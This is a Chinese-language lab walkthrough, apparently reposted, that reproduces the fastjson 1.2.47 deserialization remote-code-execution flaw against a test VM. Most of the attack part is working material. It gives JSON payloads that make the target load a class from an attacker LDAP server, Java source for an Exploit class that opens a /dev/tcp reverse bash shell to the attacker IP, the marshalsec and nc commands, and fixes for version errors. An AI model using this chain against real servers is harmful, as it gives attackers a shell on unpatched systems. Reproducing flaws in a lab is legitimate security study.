fastjson反序列化漏洞復現


靶機IP:192.168.253.134
攻擊機IP:192.168.142.44

1、靶機環境搭建

靶機:http://caiyun.feixin.10086.cn/dl/095CteuquNKVq  提取密碼:NNPD
RCE:http://caiyun.feixin.10086.cn/dl/095CuIsJQOw14  提取密碼:J2vd

靶機賬號密碼:root;toor

tomcat路徑:/usr/local/tomcat/apache-tomcat-9.0.27/

jdk版本:

訪問靶機Web服務:

被fastjson調用解析的參數:

2、攻擊機環境准備

(1)監聽流量

nc -lvvp 5555

(2)測試外連

{
  "name": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "x": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.142.44:5555/fastjson/Exploit", "autoCommit": true } }

(4)修改Exploit並編譯成class文件

Exploit.java,修改反彈的IP跟端口

import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }

編譯成class文件(注意:javac版本最好與目標服務器接近,否則目標服務器無法解析class文件,會報錯):

javac Exploit.java

(5)准備LDAP服務和Web服務

這里使用的Web服務也是tomcat,在Web目錄下運行LDAP服務,啟動Web服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.142.44:8080/fastjson/#Exploit

nc准備接收反彈回來的shell

(6)執行

修改IP為攻擊機IP,訪問靶機漏洞鏈接post以下payload:

 

{
  "name": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "x": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.142.44:1389/fastjson/Exploit", "autoCommit": true } }

 

LDAP把請求Redirect到Web服務,Fastjson將會下載Exploit.class,並解析運行,Web服務器也會有請求記錄

nc收到反彈回來的shell

3、其他問題

(1)當javac版本和目標服務器差太多,會報一個下面那樣的錯誤,所以需要使用1.8的javac來編譯Exploit.java

 

Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

 

 或者降級編譯

javac -source 1.7 -target 1.7 Exploit.java

 

(2)記得開放防火牆需要用到的端口。

(3)當運行LDAP的服務器java版本過高,會無法運行LDAP服務,雖然顯示正在Listening,但是Fastjson的JNDI會報錯,顯示無法獲取到資源,所以要使用java 1.8(openjdk 8)來運行LDAP服務

(4)推薦使用LDAP協議進行漏洞利用:

RMI協議的利用方式 在JDK 6u132/7u122/8u113 及以上版本中修復了
LDAP協議的利用方式 在JDK 6u211/7u201/8u191 及以上版本中修復了

 參考鏈接:https://github.com/CaijiOrz/fastjson-1.2.47-RCE


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM